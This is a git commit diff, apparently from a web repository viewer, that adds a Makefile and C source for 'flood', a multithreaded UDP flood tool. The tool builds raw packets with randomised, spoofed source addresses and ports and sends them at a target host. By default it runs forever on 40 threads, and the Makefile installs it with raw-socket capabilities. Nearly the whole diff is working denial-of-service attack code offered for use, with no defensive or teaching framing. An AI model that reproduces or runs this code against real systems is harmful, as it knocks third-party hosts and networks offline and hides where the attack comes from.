diff options
| author | Jake Mannens <jakem_5@hotmail.com> | 2016-04-05 13:52:34 +1000 |
|---|---|---|
| committer | Jake Mannens <jakem_5@hotmail.com> | 2016-04-05 13:52:34 +1000 |
| commit | 65ce53bab412623b6b7b39f2fba3536619175537 (patch) | |
| tree | b038ee9203db4e922289e3b683c83e044edb1c1e /source | |
new file: Makefile
new file: build.sh
new file: man/flood.1.pod
new file: package/DEBIAN/control
new file: package/usr/share/doc/flood/README.gz
new file: package/usr/share/doc/flood/changelog.gz
new file: package/usr/share/doc/flood/copyright
new file: package/usr/share/man/man1/flood.1.gz
new file: source/Makefile
new file: source/flood.c
new file: version
Diffstat (limited to 'source')
| -rw-r--r-- | source/Makefile | 26 | ||||
| -rw-r--r-- | source/flood.c | 224 |
2 files changed, 250 insertions, 0 deletions
diff --git a/source/Makefile b/source/Makefile new file mode 100644 index 0000000..2cd8f59 --- /dev/null +++ b/source/Makefile @@ -0,0 +1,26 @@ +TARGET = flood + +INSTALL_DIR = /usr/bin + +SRCS = $(wildcard *.c) + +CFLAGS = -pthread +CC = gcc $(CFLAGS) + +all: build + +build: $(TARGET) + +$(TARGET): $(SRCS) + $(CC) -o $(TARGET) $(SRCS) + +clean: + rm -f $(TARGET) + +install: build + cp $(TARGET) $(INSTALL_DIR) + chown root:root $(INSTALL_DIR)/$(TARGET) + setcap cap_net_raw,cap_net_admin=eip $(INSTALL_DIR)/$(TARGET) + +uninstall: + rm -f $(INSTALL_DIR)/$(TARGET) diff --git a/source/flood.c b/source/flood.c new file mode 100644 index 0000000..bdab75a --- /dev/null +++ b/source/flood.c @@ -0,0 +1,224 @@ +#include <arpa/inet.h> +#include <errno.h> +#include <netdb.h> +#include <netinet/in.h> +#include <pthread.h> +#include <signal.h> +#include <stdio.h> +#include <stdlib.h> +#include <sys/socket.h> +#include <time.h> +#include <unistd.h> + +#define DEFAULT_DELAY 0 +#define DEFAULT_PACKET_SIZE 1024 +#define DEFAULT_THREADS 40 + +void* udpflood_thread(void*); +void* kill_thread(void*); +void handle_signal(int); +int dns_resolve(char*, struct in_addr*); +void print_usage(char*); + +struct udpflood_args { + unsigned char running; + in_addr_t address; + size_t packet_size; +}; + +struct udpflood_args thread_args; + +char *size_suffixes[] = { "B", "KB", "GB", "TB", "PB", "EB" }; + +int main(int argc, char *argv[]) { + int i, status; + + time_t delay = DEFAULT_DELAY; + size_t packet_size = DEFAULT_PACKET_SIZE; + int threads = DEFAULT_THREADS; + + int flag; + int flags = 1; + while((flag = getopt(argc, argv, "d:s:t:")) != -1) { + switch(flag) { + case 'd': + delay = (time_t) atoi(optarg); + break; + case 's': + packet_size = (size_t) atoi(optarg); + break; + case 't': + threads = atoi(optarg); + break; + case '?': + exit(EXIT_FAILURE); + break; + } + flags++; + } + + if(argc - flags < 1) { + printf("%s: Missing Address!\n", argv[0]); + print_usage(argv[0]); + exit(EXIT_FAILURE); + } + + char* address_string = argv[argc - 1]; + struct in_addr address; + status = inet_aton(address_string, &address); + if(status == 0) { + status = dns_resolve(address_string, &address); + if(status == -1) { + printf("%s: Invalid Address!\n", argv[0]); + print_usage(argv[0]); + exit(EXIT_FAILURE); + } + } + + srand(time(NULL)); + signal(SIGINT, handle_signal); + + thread_args.address = address.s_addr; + thread_args.packet_size = packet_size; + thread_args.running = 1; + + printf("Flooding %s (%s)\n", address_string, inet_ntoa(address)); + if(delay == 0) { + printf(" Duration: Forever\n"); + } else { + printf(" Duration: %d seconds\n", (int) delay); + } + printf(" Threads: %d\n", threads); + i = 0; + size_t size = packet_size; + while(size >= 1024) { + size /= 1024; + i++; + } + if(i < (sizeof(size_suffixes) / sizeof(char*))) { + printf(" Packet Size: %zu%s\n", size, size_suffixes[i]); + } else { + printf(" Packet Size: %zu%s\n", packet_size, size_suffixes[0]); + } + + time_t start_time = time(NULL); + + pthread_t tids[threads]; + for(i = 0; i < threads; i++) { + pthread_create(&tids[i], NULL, &udpflood_thread, &thread_args); + } + + time_t end_time = time(NULL) + delay; + unsigned char infinite_delay = 0; + if(delay <= 0) infinite_delay = 1; + while(time(NULL) < end_time || infinite_delay && thread_args.running); + + printf("Ending attack...\n"); + if(infinite_delay) printf("Attacked for %d seconds\n", (int) (time(NULL) - start_time)); + pthread_t kill_tid; + pthread_create(&kill_tid, NULL, &kill_thread, NULL); + thread_args.running = 0; + for(i = 0; i < threads; i++) { + pthread_join(tids[i], NULL); + } + exit(EXIT_SUCCESS); +} + +void* udpflood_thread(void* args_ptr) { + int i, status; + + struct udpflood_args* args = (struct udpflood_args*) args_ptr; + + int sock_fd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP); + if(sock_fd < 0) return NULL; + int val = 1; + int* ptr = &val; + status = setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof(val)); + if(status < 0) return NULL; + + struct ip_header { + unsigned char ihl; + unsigned char tos; + unsigned short len; + unsigned short ident; + unsigned short offset; + unsigned char ttl; + unsigned char protocol; + unsigned short checksum; + unsigned int source; + unsigned int dest; + }; + + struct udp_header { + unsigned short source_port; + unsigned short dest_port; + unsigned short len; + unsigned short checksum; + }; + + void* packet = malloc(sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size); + memset(packet, 0, sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size); + struct ip_header* ip = (struct ip_header*) packet; + struct udp_header* udp = (struct udp_header*) (packet + sizeof(struct ip_header)); + unsigned char* data = packet + sizeof(struct ip_header) + sizeof(struct udp_header); + for(i = 0; i < args->packet_size; i++) data[i] = rand(); + + ip->ihl = 5 | (4 << 4); + ip->tos = 46 << 2; + ip->len = sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size; + ip->ident = htons(rand()); + ip->ttl = 64; + ip->protocol = 17; + ip->dest = args->address; + + udp->len = htons(sizeof(struct udp_header) + args->packet_size); + + struct sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = args->address; + + while(args->running) { + unsigned short dest_port = rand(); + ip->source = htons(rand()); + udp->source_port = htons(rand()); + udp->dest_port = htons(rand()); + ip->checksum = 0; + addr.sin_port = htons(dest_port); + sendto(sock_fd, packet, ip->len, 0, (struct sockaddr*) &addr, sizeof(addr)); + } + + free(packet); + close(sock_fd); +} + +void* kill_thread(void* args_ptr) { + time_t end_time = time(NULL) + 5; + while(time(NULL) < end_time); + printf("Failed to close threads! Terminating...\n"); + exit(EXIT_SUCCESS); +} + +void handle_signal(int signal) { + if(signal == SIGINT) { + printf("\nCaught SIGINT\n"); + thread_args.running = 0; + } +} + +int dns_resolve(char* name, struct in_addr* address) { + struct hostent *he; + he = gethostbyname(name); + if(he == NULL) return -1; + in_addr_t **addr = (in_addr_t**) he->h_addr_list; + address->s_addr = *addr[0]; + return 0; +} + +void print_usage(char* command) { + printf("Usage: %s [ -d seconds ] [ -s bytes ] [ -t threads ] <address>\n", command); + printf("\n"); + printf(" -d seconds Sets the duration of the attack in seconds.\n"); + printf(" -s bytes Overrides the default packet size in bytes.\n"); + printf(" -t threads Specifies the number of threads for the attack.\n"); + printf("\n"); +} |
